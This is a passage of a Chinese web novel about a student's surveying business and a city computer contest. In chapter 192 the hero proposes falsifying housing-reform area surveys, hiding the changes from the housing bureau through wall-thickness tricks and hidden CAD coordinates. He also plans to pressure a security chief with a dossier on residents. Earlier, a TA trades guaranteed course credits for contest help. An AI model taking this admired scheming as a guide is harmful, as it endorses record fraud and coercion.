朱丹的脸一下子涨红了。 她干团支部书记快一年了,跟同学说话向来是她说一句别人应一句,从来没被人这么顶回来过。而且韩学涛说的每一条都站得住脚,她想反驳都找不出话头。 站在旁边的杨蕾急了。 她看了看朱丹的脸色,又看了看韩学涛的表情,心里“咯噔”一下——完了,要谈崩。 她本来是想叫上朱丹帮忙说话的,毕竟是同一个系的团支书,说话比自己管用。没想到朱丹一上来就端官腔,韩学涛根本不吃这一套,三句话把人噎得说不出话来。 早知道这样,还不如自己一个人来。 眼看着朱丹胸口起伏了一下,嘴唇动了动,像是要发飙的样子,杨蕾赶紧伸手拉住她的胳膊。 “丹姐,丹姐,怪我怪我。” 杨蕾往前站了半步,挡在两人中间,语气又软又急,“是我没把话说清楚就拉你过来了。韩学涛同学刚才在电话里说的是暑假有项目走不开,这个情况我应该先跟你说明白的。是我考虑不周,你别往心里去。” 她转头看了朱丹一眼,声音放低了一些,带着点撒娇的味道,“丹姐,你先让我跟他说两句行不行?要是实在说不通,咱们再想别的办法。你在这儿坐着等会儿,好不好?” 朱丹看了她一眼,面色缓了一些。杨蕾这话说得周全——既揽了责任,又没让她下不来台,还保住了她的面子。 “行,你先跟他说。”朱丹退后一步,拉了把椅子坐下,但脸色还是不太好。 杨蕾转过身,把韩学涛拉到一边,“韩学涛同学,我查过你们地质系的课程方案。” 韩学涛微微抬了一下眉毛。 “你们后面几年的计算机课程——大二上学期有一门《计算机在地质学中的应用》,大二下学期有一门《数据结构》,大三有两门,《遥感数字图像处理》和《地理信息系统》。一共四门课,六个学分。” 韩学涛没说话,看着她。 “如果你同意去参加这次比赛,这四门课的所有学分,我帮你搞定。”杨蕾直接开出条件。 韩学涛看了她两秒:“这种事你能做得了主?” 杨蕾推了推圆框眼镜:“我是大一就能当助教的人。你觉得呢?” 她甜甜一笑,“我这个助教虽然是学生助教,但不是随随便便什么人都能当的。我跟你说个实话——你们计算机考试的所有卷子,都是我批的。你们这次期末的题目,也是我出的。” 韩学涛向脸上看去。 杨蕾回视他的目光:“老师跟我说,要适当超纲。我就从大三的题库里挑了一道编程题放进去。全年级只有你一个人做出来了。” 韩学涛点了点头。 “比赛就两天,”杨蕾继续说,“你不是计算机系的,输了也没人怪你。但你换来的是四门课、六个学分的自由。以后这几门课你上不上都行,考试也不用操心。很划算的。” 她说完,安静地看着他,等他的回答。 韩学涛笑了。 他重新打量了一下眼前这个蘑菇头、圆框眼镜的小甜妹。刚才还在那儿绞衣角、说“那打扰了”,现在站在他面前谈条件,一条一条清清楚楚,连他的专业的课程方案都提前查好了。 有意思。 他其实知道自己不需要这个交易。就算没有杨蕾的承诺,后面那几门计算机课他也不可能挂。但有个出题批卷的人保底,确实能省不少麻烦。而且这姑娘做事的方式,他有点欣赏。 “行。”韩学涛说,“合作愉快。” 杨蕾的嘴角弯起来,两个梨涡浅浅地陷了下去。 “放心,我说到做到。你就加油吧。” 她转过身,走到朱丹跟前,弯腰拉了拉她的手:“丹姐,他答应了。咱们走吧。” 朱丹站起来,看了韩学涛一眼,脸上还带着点没散尽的怒气,但到底没再说什么。 第191章 生意起步的困难 考完试第三天,寝室里就空了。 李靖、赵江、于鑫、老谢,一个个拖着箱子走了。小巴走得最早,考完最后一门就没影了。走廊里到处是关门声和轮子碾过地面的咕噜声,热闹了一阵,然后安静下来。 但这一次,不是像寒假那样只剩下韩学涛一个人。 楚强和小白还在。 兵海所成立之后,他们两个现在是室主任,要上班。韩学涛专门问过他们,放暑假了,不回家行不行? 楚强说没问题。家里欠着债,他急着赚钱,巴不得一天都不歇。 小白也说没问题,语气比楚强还干脆。韩学涛没多问。他跟家里的矛盾似乎挺深的,提过一次之后就再也不说了。反正男儿志在四方,人长大了,迟早都是要离开家的。 大家一起赚钱,没毛病。 假期的生活很快就形成了固定的节奏。 韩学涛白天要么去图书馆,要么去水警区。去图书馆方便,走路二十分钟。去水警区的话,打个电话就有人来接。有了那本工作证之后,进出方便多了——办公区、码头泊位、测绘中心,持证进出,不用临时报备。 一边赚军方的钱,一边蹭军方的设备。水警区的测绘设备比学校里强了不止一个档次,精度高、覆盖面广,他需要的底层数据在这里几乎都能找到。每一次去,他都在完善自己的地图。 但他心里清楚,光有宁海市的数据是不够的。 他想做的是全国。至少,是覆盖东部沿海主要城市的地图数据。这个念头在他脑子里转了很久,一直没有说出来。但现在跟水警区的合作已经铺开了,这件事可以开始想了。 一旦这一步做成,他的地图大业才算是完成了七七八八。 楚强和小白每天一早出门,去兵海所,或者跟包丽一起出去跑业务。 三个人分工明确,配合得越来越默契。 小白脸皮薄,跟陌生人说话容易害羞,有时候一句场面话要在心里打两三遍腹稿才说得出来。但他那张脸实在是讨喜——干干净净的,眉眼温润。去那些单位的后勤处、行政科递资料的时候,门卫都愿意多看他两眼,办公室的大姐见了他就笑,连倒水都多倒一杯。 包丽完全是另一个路子。她年纪小,但经的事儿多。卖抽油烟机这些日子,什么人都见过,什么话都接过。现在手里有了钱,穿着打扮跟以前那个小太妹完全不一样了——简洁的衬衫,修身的裤子,头发剪了,化了淡妆,往那儿一站,比绝大多数在校大学生都要时尚。开口说话更是一把好手,不怯场、不冷场,该捧人的时候捧人,该递话的时候递话,分寸感拿捏得恰到好处。 楚强是三个人里话最少的。一张扑克脸,不笑的时候有点冷。但他脑子活,经常能想出一些别人想不到的主意。有一次去矿务局,对方说测绘的事归后勤处管,后勤处又说要等行政科的批复,行政科的人出去了,让改天再来。楚强没说二话,转身走了。第二天他带着一份矿务局家属院的平面草图来了。后勤处长一看,当场就给他留了传呼。 跑了几天,大单子还没有,但宁海那些有房改需求的大企业——钢厂、棉厂、矿务局、铁路分局——他们基本都去过了,混了个脸熟。对方的态度从最初的“你是谁”“不感兴趣”,变成了“哦,你们又来了”“回头再说”,再到“行,你们先留个资料”。 问题当然一大堆,但门已经敲开了,剩下的就是解决问题。 ...... 韩学涛推门进寝室的时候,楚强和小白正坐在各自的床上,中间隔着一张桌子,两个人眉头都拧着,面前的笔记本上写满了字。 “怎么了?”韩学涛把手里的东西放下。 楚强抬起头:“正等你呢。这两天跑下来,有些情况得跟你合计合计。” 韩学涛把从水警区带回来的菜搁在桌上,“红烧带鱼,食堂大师傅给装的,满满一饭盒。” 又扬了扬另一只手里的塑料袋:“校门口买了点啤酒。” 小白赶紧起来收拾桌子,把书本摞到一边,抹了两把桌面。楚强接过啤酒,用牙咬开瓶盖,一人递了一瓶。 三个人围着桌子坐下来,饭盒盖子掀开,带鱼的香辣味在寝室里散开。 楚强喝了口啤酒,把笔记本转过来让韩学涛看。 “这两天跑了钢厂、矿务局、棉纺厂,还有铁路分局。门都进去了,人也见着了,但谈来谈去,卡在几个地方过不去。”他手指在笔记本上点了点,“我们琢磨了一下,主要是三个困难。” 韩学涛夹了块带鱼,没说话,等着他往下说。 “第一个,”楚强竖起一根手指,“人家的防御心理太重了。我们去钢厂的房改办,那个主任姓孙,五十多岁,说话倒是挺客气,但翻来覆去就一个意思——家属区是企业自己的地盘,让外面的人进来测绘,万一数据泄露了,或者把面积量小了,工人闹起来,他担不起这个责任。我跟他解释咱们是国企、有资质、有保密协议,他说了一句,你猜怎么着?” “怎么着?” “他说,资质是资质,信不过就是信不过。你们要是把面积量少了,工人来找我,我总不能说这是外面公司量的,跟我没关系吧?” 小白在旁边补充了一句:“矿务局的保卫科长更直接,说这是我们的私产,外人进来不合适。我当时就想说,你们是国企,怎么成了私产?而且这房子马上就卖给个人了,就算是私产,也是职工的!但没好意思开口。” 韩学涛点了点头,示意楚强继续说。 “第二个困难,”楚强的表情更严肃了些,“档案全是烂账。矿务局那个家属院,从五十年代开始陆续盖的,最早的图纸早没了,后来加盖的、翻修的、自己搭的,乱七八糟。有些楼连施工方都找不到了,谁手里都没有完整的图纸。” 小白说:“我们问他们,没有图纸你们打算怎么确权?房改办的人说,走一步看一步呗,实在不行就按建筑面积估一个数。” 楚强看了他一眼,接着说:“这就是问题。如果按规矩确权,那些违章私盖的怎么算?多量了是违法,少量了工人不干。矿务局的人自己跟我们说,这不是测绘问题,这是火药桶,谁碰谁炸。” 韩学涛喝了口啤酒,点点头,没插话。 “第三个,”楚强把笔记本往后翻了一页,“利益的问题。国企都有自己的基建处、后勤部,这些人觉得测绘这活儿自己也能干。棉纺厂那个后勤处长,四十来岁,说话挺冲,问我们是不是来抢饭碗的。我跟他说你们没有测绘资质,他说资质有什么用,我们在这厂里干了二十年,每一栋楼都是我们看着盖起来的,还用你们来量?” 小白忍不住插了一句:“其实他们根本干不了。没有设备,没有技术,连最基本的测量规范都不懂。但你不能当面这么说。” 楚强靠在椅背上,端起啤酒喝了一大口,把这些天积累的挫败感咽了下去。 韩学涛放下筷子,看着他们两个。 “就这些?” “就这些。”楚强说,“每一条都头疼,我们商量好久,没想出什么好办法。” 第192章 利益为刀 “解决问题的原则就一个——利益。” 韩学涛把啤酒瓶往桌上不轻不重地一磕,“找准大家的利益共同点,事情自己就解开了。” 楚强和小白对视一眼:“怎么找?” 韩学涛夹了块带鱼,慢慢嚼完,才不紧不慢地开口:“思路我给你们,听不听在你们,但顺着这个方向想,不会错。你们碰到的第一个问题,人家信不过你,怕背锅。第二个,历史烂账,测绘难度大,搞不好就是个火药桶。第三个,厂里的基建处、后勤部觉得你们来抢饭碗。” 他把三根手指一根根收回去,握成拳。 “这三个问题,其实就是一个——利益没绑在一起。” 楚强的眼睛微微眯了一下。 “我问你们,”韩学涛说,“那些老职工最想要什么?” 小白想了想:“房子呗。” “房子的什么?” “面积?”小白不太确定。 “对,就是面积。”韩学涛说,“公房私有化,自己掏钱买自己住的房子。同样的地段、同样的楼层,面积多一平米,就是白捡几千块。这是他们这辈子最大的一块肥肉。” 他顿了一下,“图纸丢了、违章加盖了、历史账烂了——这是坏事,也是好事。” 楚强问:“好事?” “好事。因为没有标准答案。没有标准答案,就有了操作空间。” 楚强的表情变了,像抓住了什么,但还没完全看清。 韩学涛用手指在桌上画了个圈:“当年建房的时候,阳台怎么算、走廊怎么算、阁楼怎么算,不同年份、不同标准,说不清楚。这就是缝隙。” 他抬起头,看着两个人。 “我们可以立一套规矩。在政策允许的范围内,通过技术优化,让老职工的实测面积比房改原始登记面积多出三到五个平米。” 小白倒吸了一口气:“三到五个平米?这可不是小数目!” “没错。”韩学涛说,“这多出来的面积,在老职工眼里就是白捡的钱。” 他把操作拆开说了一遍—— “第一,把测绘的自由裁量权交给厂里的房改办。领导说这个阳台算全面积,就算全面积;说这个走廊算半面积,就算半面积。一切都在规范里,只是把原本模糊的地方,朝着对职工有利的方向去量。 第二,公司不跟职工打交道,只跟厂里签合同、出报告。职工拿到的结果,是厂里认可的。有意见,找厂里;有好处,也是厂里给的。” “这样一来,”韩学涛说,“测绘这件事就不是你们去抢人家的饭碗,而是你们给全厂职工送钱。谁拦得住?” 楚强眼睛亮了,但很快又皱起眉头。 “那房管局那边呢?报告要拿去备案的。给职工多了,那边怎么过?” 小白也跟着点头:“对啊,房管局有底档,面积对不上不行吧?” 韩学涛笑了一下。 “你想的没错,但没那么复杂。” 他拿起啤酒喝了一口,不紧不慢地往下说。 “房管局那边,我们在正式的坐标图里做手脚。” 楚强的眉毛拧得更紧了。 韩学涛没再卖关子:“老房子的墙体厚度不一样——有的是24墙,有的是37墙。实测的时候统一按最大厚度备案,但内部结算按实际厚度算。中间这个厚度差,就是一个面积池。房管局看到的是按最大厚度算的总面积,职工拿到的是按实际厚度算的实测面积。两边都对,谁也挑不出毛病。” “还有,手绘图纸转成CAD的时候,本身就有精度损失。我们在楼角、拐弯的地方埋几个冗余坐标,外行根本看不出来。万一房管局复核,一键切换图层参数,冗余部分马上被公摊面积稀释掉。总数永远是对的,但每一户的数据怎么调,只有我们自己知道。” 他说完,看着楚强和小白。 两个人都没说话。 楚强张了张嘴,又闭上了。他盯着桌上那块吃了一半的带鱼,像是在脑子里飞快地演算。 小白则是一脸“这也能行”的表情,嘴巴微微张着。 安静了好一会儿。 楚强慢慢开口:“你的意思是——我们不光是做测绘,还在帮厂里解决一个政治问题。” 韩学涛点了点头。 “对。房改这件事,厂里比谁都头疼。我们能把这个结解开,他们求之不得。我们进去,不是抢生意的。是去救火的。” 小白终于回过神来,把啤酒瓶往桌上一放,搓了搓手:“那我们在厂里岂不成了神医?人家说你多量半平米,你就真能量出半平米?” “差不多。”韩学涛说,“合法合规。手续齐全。谁都说不出半个不字。” 楚强靠在椅背上,长长地呼了口气。他转头看了小白一眼,小白也正看着他。两个人的表情从刚才的愁眉不展,变成了一种说不清道不明的兴奋。 “行了,”韩学涛端起啤酒,“赶紧吃,带鱼凉了。” 而小白一边吃一边想,过了一会,脸上的兴奋劲儿退了一半,眉头又拧了起来。 “学涛,利益绑在一起——这个我懂了。但还有个问题。” 韩学涛看着他。 “保卫科那帮人。”小白的语气带上了情绪,“我们去矿务局的时候,那个保卫科长,看我们的眼神就跟看贼似的,态度特别横。后来我打听了一下,那人在矿务局干了十几年,平时作威作福,跟职工关系很差,但谁都动不了他。” 楚强在旁边补了一句:“不止保卫科。有些后勤处、基建处的人也不一定领情。你给他好处,他觉得是应该的,甚至觉得自己单干能拿更多。” 小白点头:“对,就是这个意思。有些人就是给脸不要脸,你给他送钱,他还嫌你送得少。” 韩学涛听完,脸上没什么表情,拿纸巾擦了擦手指,“如果利益解决不了,那就是给脸不要脸。”他把纸巾扔进饭盒盖子里,抬起眼皮看了两个人一眼。 “敬酒不吃,那就吃罚酒。” 楚强和小白同时一愣。“怎么弄?”楚强问。 韩学涛把啤酒瓶往旁边推了推,“我问你们,国企保卫科是干什么的?” 小白想了想:“管治安的吧?” “不止。”韩学涛说,“还要管厂区里流动人口和临时工的计生、治安责任。那些编外人员——临时工、家属区的租客、附近来做小买卖的——全在他们的监管范围里。” 楚强的眉头动了一下,像是在琢磨这话里的意思。 “这些人要是出了事,”韩学涛继续说,“尤其是超生或者恶性案件,保卫科长不是处分——是直接撤职。” 小白一惊:“这么狠?” “所以,这些人手里最大的权力,不是拦你进门,而是管好那些他们根本管不过来的人。”韩学涛顿了顿,“那些家属区里的违章搭建、临时住房,住了什么人、有没有超生的、有没有在逃的,保卫科根本摸不清楚。没有那个精力,也没有那个能力。” 楚强的眼睛慢慢亮了起来。 “知道弱点就好办了。”韩学涛说,“我们去找公安联防,找地头蛇。家属区里那些临时搭建房里住着什么人,谁家超生了、谁家是黑户,他们比保卫科清楚得多。” 他冷冷一笑,“我们可以送一份礼——不是烟酒茶叶。是一本《流动人口摸排底册》。” 楚强和小白同时怔住了。 “我们以测绘公司调查员的身份进场,跟地头蛇和公安合作,把那些保卫科摸不到底的违建户、黑户全部排查清楚。哪一户住了什么人,哪一户有超生嫌疑,哪一户的租客身份有问题——一份清清楚楚的台账,送到保卫科长办公桌上。” “这份数据对保卫科长来说,是保命符,也是断头刀。”韩学涛用手比成刀,向下一砍,“愿意拿钱,就拿钱。不愿意拿钱——那就是不想干了。换个想干的人来坐那把椅子。” 楚强盯着桌面,沉默了足足有十几秒。 小白直接张大了嘴,半天没合拢。 “学涛……”小白感概,“你想问题,真的比我深入多了。” 楚强说:“说真的,学涛,你这一番话,够我学好几年的。” 韩学涛拿起啤酒瓶跟楚强手里的碰了碰,又跟小白的碰了一下。 “你们两个少来这套,所里的双胞胎这么说,我还能受着——你们两个大男人,恶不恶心?” 这话看似玩笑,但透着真诚,楚强嘴角动了动,“学涛,我要是女人,我肯定爱上你,愿意被你搞。” 韩学涛脸一黑,拿起一块吃剩的鱼骨头就扔了过去。 “闭嘴!” 第193章 代表学校,一致对外 一大早,寝室的电话就响了。 韩学涛接起来,那头传来杨蕾的声音,软软糯糯的—— “韩学涛,九点,校门口集合。别忘了啊。” “……知道了。” 他挂了电话,换好衣服出门。 校门口,杨蕾穿着白色圆领小衬衫,配一条红裙子,正低头看表。 旁边还站着三个男生,全是生面孔。 韩学涛走过去,四下看了看——没车。 “车呢?” 杨蕾抬起头:“什么车?” “去比赛的车。学校不派?” 杨蕾摇了摇头,笑着说:“放暑假了,负责学生后勤的人都不在。再说了,就咱们这几个人,怎么好意思要车?你放心——往返路费、食宿,全都报销。” 韩学涛说:“感觉学校也不是很重视啊。连个带队的导师都没有。” “本来就是学生竞赛嘛,有学生会的人就行了呀。”杨蕾指了指自己,“我就是学生会学习部副部长,好多校际比赛都是我带的。” 韩学涛打量了她一下,点了点头。 行吧。反正就是走个过场,过去打个酱油,把未来三年跟计算机课相关的学分都拿到手。 杨蕾拍了拍手,把几个人的注意力聚过来。 “好了,人齐了。我先说两句。” 她声音不大,但很清晰,自带主场。 “从现在起,我们就是一个团队。这次比赛,代表的是宁海大学的荣誉。宁海市的高校比赛,咱们宁海大学要是拿不到冠军——我呢,又是计算机系的,又是学习部的副部长,我觉得我可以辞职了。” 她笑了笑,两个梨涡浅浅地陷下去。 “所以,拜托各位了,帮帮忙,把冠军拿下来。” 三个男生齐刷刷点头,点得又快又用力。 杨蕾侧过身,开始介绍。 “潘洪波——我们叫他潘潘。” 白白净净的男生,个子不高,笑起来有点腼腆,朝韩学涛点了点头。 “欧阳博——欧阳。” 另一个男生长手长脚,站姿随意,连点头的幅度都带着点不正经的劲儿。 “卢汶——蚊子。” 第三个男生瘦瘦小小,黑框眼镜,安安静静地杵在那儿,推了推眼镜算是打招呼。 杨蕾最后转向韩学涛。 “这位——韩学涛。不是咱们系的。但是计算机很厉害,这次期末考试,唯一一个满分。” 她顿了顿,歪了下头。 “我看了学籍资料,你出生月份比较早,就叫韩哥吧。虽然不是一个系的,但大家一起上过公开课,别生分。比赛的时候,代表学校,一致对外。” 韩学涛点了点头,不多话。 欧阳第一个接腔,语气里带着点不太服气的劲儿:“蕾蕾放心,这次说什么也要帮你把冠军拿回来。” 潘潘跟着说:“不能轻敌,但我们还是有信心的。宁海大学已经丢了两届了,这一次,当仁不让。”说完还握了握拳头。 蚊子推了推眼镜,对杨蕾说:“拿了冠军,明年你竞选部长,肯定板上钉钉。” “部长我倒是不担心。主要是学生会的副会长……竞争还挺激烈的,没什么信心。”杨蕾笑了笑,目光从几个人脸上滑过去,“所以——谢谢你们喽。” 韩学涛在旁边听着,心里动了一下。 原来这个比赛,是杨蕾给自己刷政绩的。 李曼也要竞选……自己不会资敌了吧? 想了想,应该不会。李曼是生活部的,杨蕾是学习部的,各竞各的,互不冲突。至于副会长——没听说李曼要竞选那个。 欧阳看了一眼手表,催道:“走吧,去公交站。早高峰,车不好上,别迟到了。” 比赛地点在宁海工业大学,以前叫宁海工学院,去年刚改名。位于南郊,离宁海大学挺远的,要转两趟车,路上差不多一个小时。 几个人走到校门口的公交站台,等了不到五分钟,42路远远地开过来了。 车到了跟前,几个人都愣了一下——车厢里挤得满满当当,前门后门全是人。 欧阳第一个蹿出去:“蕾蕾,跟上!” 他铆足了劲儿往车上挤,潘潘和蚊子紧随其后,三个人像打仗一样拼命在车门口凿出一条缝。 韩学涛看了一眼塞满人的车门,不太想挤:“你们先上,我坐下一辆。” 这工夫,欧阳三人已经挤上去了。杨蕾慢了一步,先礼让了一个大爷,等她想上,靠门的地方早没了位置,连站的地儿都够呛。欧阳三人被夹在人群里,拼命回头喊:“蕾蕾!蕾蕾上来啊!” 司机从驾驶室里探出头,很不耐烦地喊:“后面的别上了!等下一辆!” 欧阳急得直皱眉,想下去,可身后已经被人堵死了,动弹不得。 车门在他脸上关上了。 公交车缓缓启动。 车窗里,欧阳、潘潘、蚊子三张脸挤在一起,嘴巴还在动,不知道是在喊“下一辆”还是“对不起”。 杨蕾站在站台上,表情无奈地朝他们挥手:“工学院门口集合!” 车开远了。 她转过身,刚想说什么,看见韩学涛已经站在路边,伸手拦出租车了。 一辆白色夏利停在面前。韩学涛拉开后座的门,看了她一眼。 杨蕾笑眯眯地钻进去,坐好,从帆布包里掏出一个小本子。 “打票啊,我来报销。” 韩学涛坐到副驾驶,转头看了她一眼:“能报销出租车,你不早点说。” “我们可是五个人,一辆车坐不下。让谁上,不让谁上?很难平衡的。总不能打两辆车吧?”杨蕾靠在座椅里,弯了弯眼睛。 韩学涛转回头,对司机说:“宁海工学院。” 车开出去之后,他才慢悠悠地说了一句:“你应该当会长。副会长都屈才了。” 杨蕾在后座嘻嘻笑了一声:“韩哥,只有你不是我们系的,我当然优先照顾你了。” 韩学涛没接话,目视前方。车窗外的行道树一棵接一棵往后退。 出租车比公交车快多了。 韩学涛和杨蕾到了工学院门口,下车一看,那三个人连影子都没有。杨蕾倒是不着急,指了指校门口一个小门脸:“吃过了吗?” 韩学涛摇头。 “工学院这边有个特色,油炸饼。”杨蕾已经往那边走了,“我上礼拜就惦记这个了。” 店面不大,一个铁皮棚子,两口油锅支在门口。老板是个五十来岁的胖大姐,看见杨蕾就笑了:“又来啦?” “带同学来尝尝。”杨蕾转头看韩学涛,“几个?” “两个。” 杨蕾朝胖大姐比了个手势,付了钱。饼炸得金黄酥脆,用牛皮纸垫着递过来,咬一口外酥里嫩,带着一股葱香。旁边还放着一大桶免费豆浆,自己拿纸杯接,淡得跟洗锅水似的,但胜在不要钱。 两个人站在棚子底下,把两个饼吃完,豆浆喝了两杯,一辆公交车才慢悠悠地到站。 第194章 去组委会蹭盒饭 欧阳第一个从车上跳下来,衬衫后背湿了一大片,紧紧贴在身上。潘潘跟在他后面,整个人蔫头耷脑的。蚊子最后一个下车,瘦小的身子刚从后门挤出来,眼镜就歪到了一边。 三个人步子都有些发飘,一看就是站了一路,连个座都没捞着。 欧阳一眼看见杨蕾和韩学涛站在棚子底下,脸上的表情别提多复杂了:“蕾蕾,你们后面那辆车人多吗?怎么比我们还先到?” 杨蕾笑了笑:“我怕你们等不及,韩哥就拦了辆出租车。” 三个人的目光齐刷刷落在韩学涛身上。 韩学涛面色不变,语气平淡:“你们是比赛的主力,赶紧歇歇。一会儿还得靠你们发挥呢。” 杨蕾转身往校门口的小卖部走:“我去买点冰水,天太热了,多喝点,别中暑。” 没一会儿,她拎着几瓶冰水回来了,另一只手里还多了个塑料袋,里面装着几根雪糕。 “来,一人一根。”她把雪糕分到每个人手里,“辛苦了,我请客。” 三个人接雪糕的时候,嘴里连声说着谢谢,能吃到杨蕾的雪糕,激动得不行。蚊子低着头,耳朵尖都红了。三个大男生,在杨蕾面前跟粉丝见偶像似的。 韩学涛撕开包装纸,咬了一口,看着这一幕,觉得有点意思。 现在女团还没兴起。要是再过几年,杨蕾参加个选秀,碰上资本捧一捧,搞不好真能红。他上一世认识不少娱乐圈的人,尤其是那些女团爱豆——能红起来的,长相是一方面,但更重要的还是观众缘和情商。 杨蕾这两样都不缺。 进了工学院大门,校园里安安静静的。放暑假了,路上几乎看不见人。门口有工学院的学生举着牌子引导,看见他们就招手:“参加比赛的?这边走。” 一行人跟着那个学生往里走,穿过林荫道,到了一栋灰白色的教学楼前。一楼大厅里摆了几张长桌,铺着白桌布,几个工作人员坐在后面,桌上放着签到表和参赛手册。 “上午只是参赛选手登记,核准资格。”引导的学生解释了一句,“正式比赛下午两点才开始。今天下午一场,明天早上一场,明天中午就结束了。” 杨蕾带头走过去,填了表,核了证件。 工作人员给他们每人发了一个帆布包,拉链上印着“宁海市大学生计算机技能大赛”的字样。打开看看,里面有一套洗漱用具,一个硬壳笔记本,两支圆珠笔,一件白色T恤衫,还有一个印着比赛LOGO的塑料水杯。 杨蕾把东西装好,拉上包,转过身对大家说:“中午就在工学院食堂吃吧。他们这边可以撕票,到时候把票拿给我报销就行。” 潘潘问了一句:“那你呢,蕾蕾?” “我还要去跟组委会沟通一下,落实晚上的住宿。”杨蕾把包背好,对几个男生甜甜一笑,“顺便在组委会那儿蹭个盒饭,你们不用等我啦。” 几个人在教学楼前分开。欧阳、潘潘、蚊子三个往食堂方向走了。 韩学涛站在原地想了想,转身往另一个方向去了。 他听冯老师说过,工学院的图书馆里有一些前苏联和联邦德国的旧书,外面不好找。冯老师还专门给过他一个借阅证,说有机会可以来看看。 图书馆在校园东北角。韩学涛进去在科学阅览室转了一圈,把书架上跟测绘、算法、无线电相关的书翻了几本,越翻越失望。 倒不是看不懂——俄文和德文他确实不懂,但能借出来的都不是原版,全是已经翻译成中文或者英文的,感觉内容老套,没什么新意,有些书出版的时候他爸都还没出生,里面讲的技术早就过时了。 也许价值高的书没放在外面? 他把书放回架子上,走到前台,问图书馆的老师:“老师,咱们这儿还有其他相关的书吗?比如原版的,或者比较新的资料?” 老师推了推眼镜:“有倒是有……不过最近有一批被教材编纂工程的老师借走了。你们宁海大学也借了一些过去。” 韩学涛一愣:“宁海大学也借了?” “对啊,跟你们图书馆的冯老师对接的。冯老师跟我挺熟的,经常互通有无。”老师笑了笑,“怎么,你是冯老师的学生?” 韩学涛点了点头,心里一下明白了。 图书馆的老师见他拿着冯老师的借阅证,听说他是过来参加计算机竞赛的,笑着说:“放假了,学生食堂没什么好吃的。你拿这个去教职工家属区那边吃,小馆子,比食堂强。”说着从抽屉里抽出两张饭票递过来。 韩学涛接过饭票,客气道谢。 教职工家属区在校园最里头,要穿过一片老旧的教学楼。路两边种着一排排高大的水杉,笔直地刺向天空,树干上爬满了翠绿的爬山虎,风一吹,叶子哗啦啦地响。 再往里走,就看见一个院子。围墙是红砖砌的,门口挂着一块木牌,上面写着“工院之家”四个字。旁边还爬着一架葡萄藤,绿莹莹的,垂下来一串串青葡萄。 院子里摆着七八张木头桌子,桌面上铺着蓝白格子的塑料布,每张桌子中间都嵌着一盆文竹。靠墙有一排灶台,热气腾腾的,几个师傅在里面忙活。 韩学涛端着托盘走过去,发现这里的菜不是用盘子装的,而是一份一份放在小砂锅里。砂锅端上来,底下垫着小竹垫,热气滋滋地冒。宫保鸡丁、鱼香肉丝、红烧排骨、麻婆豆腐——这些常见的就不说了,居然还有菠萝咕咾肉,旁边一个小灶专门做广东煲仔饭。 这伙食也太好了! 他点了一份菠萝咕咾肉,又要了一个腊味煲仔饭,端着托盘往里走。 院子里的人不多,稀稀拉拉坐着几桌,像是工学院留校的教职工。 他扫了一圈,目光忽然停住了。 角落里,一个穿着白衬衫、红裙子的女生正低头吃饭。桌上摆着一个托盘,里面有两菜一汤,碟子旁边还放着一小碟水果,切成块的西瓜码得整整齐齐。 杨蕾。 她不是说,去组委会蹭盒饭吗? 第195章 爆冲奖 韩学涛端着托盘走过去,在杨蕾对面坐下。 杨蕾正低头吃饭。筷子刚送到嘴边,余光瞥见有人落座——整个人微微一僵。 也就那么一瞬。 筷子顿了顿,随即表情就回来了。她笑着放下筷子:“韩哥?你也来了?” 韩学涛把托盘放好,笑着回了一句:“你这盒饭,档次不低啊。” 杨蕾笑了,从包里掏出一张饭票:“沙茶菇烧肉,他们家这个特别好吃,真的,我强烈推荐。你尝尝?” 韩学涛看了一眼那张饭票,没接。 “组委会那边一个朋友给的。”杨蕾语气里带了点不好意思,“本来我想去蹭他们的盒饭,结果人家直接塞了我一张小食堂的票。” “菜多了我也吃不了。”韩学涛把自己的托盘往前推了推,让她看见自己已经点了两份菜和一个煲仔饭,“而且,我也有票。” 杨蕾歪了下头:“你哪儿来的票?” “一个认识的老师送的。” 杨蕾打量了他一眼,没再多问。把自己那碟果盘推过去:“韩哥,吃西瓜。” “宁海大学有没有这种小饭馆?”韩学涛夹了块咕咾肉放进嘴里,酸甜味儿一下子散开了。 杨蕾摇了摇头:“没有。工学院比较特殊——以前归轻工业部管,后来才划到地方。不过好些大部委的福利,都留下来了。”她朝灶台方向抬了抬下巴,“那个厨师,以前在部里头给机关食堂做饭。后来到宁海养老,才弄了这么个工院之家。” 两个人吃完。杨蕾看了眼手表:“走吧,先带你去住的地方。下午还有比赛,得歇一会儿。” 工学院的招待所。杨蕾拿了钥匙递给他:“两人一间。你晚上想跟谁住?” “蚊子吧。他话少,安静。” 杨蕾点点头:“嗯,蚊子确实不错。” 房间不大。韩学涛把包放下,往床上一躺——本来只想眯一会儿,结果一闭眼就睡过去了。 再醒过来的时候,阳光已经从窗户这头挪到了那头。 有人敲门。 “韩哥,该走了。” 杨蕾的声音从门外传进来。韩学涛坐起来看了眼手表——一点整。他揉了揉脸,起身开门。杨蕾站在门口,朝自己身上的白T恤指了指,“换上吧,统一着装。” 到了会场。欧阳、潘潘、蚊子已经在了。 三个人趴在桌上,脑袋枕着胳膊打盹。桌上摊着吃剩的盒饭,筷子横七竖八——明显是从食堂过来之后,连个正经歇脚的地方都没有,只能在这儿凑合。 杨蕾走过去:“你们怎么还不换衣服?” 欧阳抬起头,脸上印着袖子褶子,睡眼蒙眬:“现在……就换。” 杨蕾皱了皱眉,转身就走:“我去给你们要三个茶包。” 话音刚落—— 轰隆隆—— 头顶炸开一声闷雷。紧接着“咔嚓”一道闪电劈下来,白光把整个会场照得雪白。 雨随即就下来了。不是淅淅沥沥的小雨,是直接往下倒。雨点砸在窗户上,噼里啪啦的,像有人端着盆石子往玻璃上泼。 几个人同时看向窗外。 欧阳他们三个睡意全没了,齐刷刷坐直了身子:“这雨……也太大了吧。” 宁海市大学生计算机技能竞赛,就是在这样一场暴雨里开幕的。 比赛场地设在工学院主楼三楼的大会议室。各所大学的选手陆续到齐——宁海大学白色,工学院蓝色,航空航天学院红色,师范学院黄色。五颜六色的人群在会场里穿梭,像一盘打翻了的玻璃珠子。 组委会还安排了媒体拍照,闪光灯时不时亮一下。靠门口的地方架着摄像机,旁边站着两个扛话筒的记者,看样子是电视台和报社的。 韩学涛坐在宁海大学区域的靠后位置,挨着墙,不太显眼。欧阳、潘潘、蚊子坐他前排,杨蕾坐在最边上,手里翻着参赛手册。 两点半。人基本到齐了。 工学院的刘副院长开始致辞。讲完之后,话锋一转—— “本次竞赛得到了远星集团的大力支持。下面,有请远星集团总经理姚育先生致辞。” 一个四十多岁的男人走上台,微微发福,脸上挂着一团和气。 韩学涛听到“远星集团”三个字,微微一愣。 来胜平的远星集团? 